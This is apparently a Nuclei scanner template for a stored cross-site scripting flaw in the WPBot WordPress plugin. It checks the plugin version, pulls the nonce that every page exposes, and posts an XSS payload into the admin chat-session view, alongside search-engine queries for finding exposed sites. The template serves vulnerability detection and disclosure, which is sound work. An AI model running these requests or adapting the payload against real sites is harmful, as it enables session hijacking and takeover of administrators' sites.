id: CVE-2026-13731 info: name: WPBot <= 8.4.9 - Cross-Site Scripting author: 0x_Akoko severity: high description: | WPBot <= 8.4.9 is vulnerable to stored cross-site scripting via the conversation parameter in the qcld_wb_chatbot_conversation_save AJAX action. The AJAX nonce (qcsecretbotnonceval123qc) is publicly emitted on every frontend page via wp_localize_script under the ajax_nonce key, making it freely obtainable by unauthenticated visitors. The conversation parameter is saved to the database without sanitization and rendered unsanitized in the admin chat session view, causing stored XSS that executes when an administrator views saved chat sessions. impact: | Unauthenticated attackers can inject arbitrary JavaScript into the admin chat sessions view, enabling session hijacking, admin credential theft, or further site compromise. remediation: | Update WPBot to version 8.5.0 or later. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/id/124f2b72-d8da-46ba-844f-e9cc01441702 - https://plugins.trac.wordpress.org/browser/chatbot/tags/8.4.9/includes/chat-sessions/wpbot-chat-sessions.php#L509 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cve-id: CVE-2026-13731 epss-score: 0.00657 epss-percentile: 0.47713 cwe-id: CWE-79 metadata: verified: true max-request: 3 vendor: quantumcloud product: chatbot fofa-query: body="wp_chatbot_obj" shodan-query: http.html:"wp_chatbot_obj" tags: cve,cve2026,wordpress,wp-plugin,wpbot,chatbot,xss,stored,unauth,vkev flow: http(1) && http(2) && http(3) http: - raw: - | GET /wp-content/plugins/chatbot/readme.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "WPBot")' - 'compare_versions(lsversion, ">=1.0.0", "<=8.4.9")' condition: and internal: true extractors: - type: regex name: lsversion internal: true regex: - 'Stable tag: ([\d.]+)' group: 1 - raw: - | GET / HTTP/1.1 Host: {{Hostname}} redirects: true max-redirects: 2 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "ajax_nonce")' - 'contains(body, "wp_chatbot_obj")' condition: and internal: true extractors: - type: regex name: ajax_nonce internal: true regex: - '"ajax_nonce"\s*:\s*"([^"]+)"' group: 1 - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=qcld_wb_chatbot_conversation_save&session_id={{randstr}}&name=test&email=test%40test.com&phone=1234&conversation=%3Cli+class%3D%22wp-chat-user-msg%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E%3C%2Fli%3E&security={{ajax_nonce}}&user_id=0 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "success")' condition: and # digest: 4b0a00483046022100c7e7f2381db8e495f875a6554964dac66750a88f27dba3bb0e53094e4f50a9ce022100a8f4282c473c05d9c95fc79132052be1ec0ef251fd9226488117864dfd3399b1:922c64590222798bb761d5b6d8e72950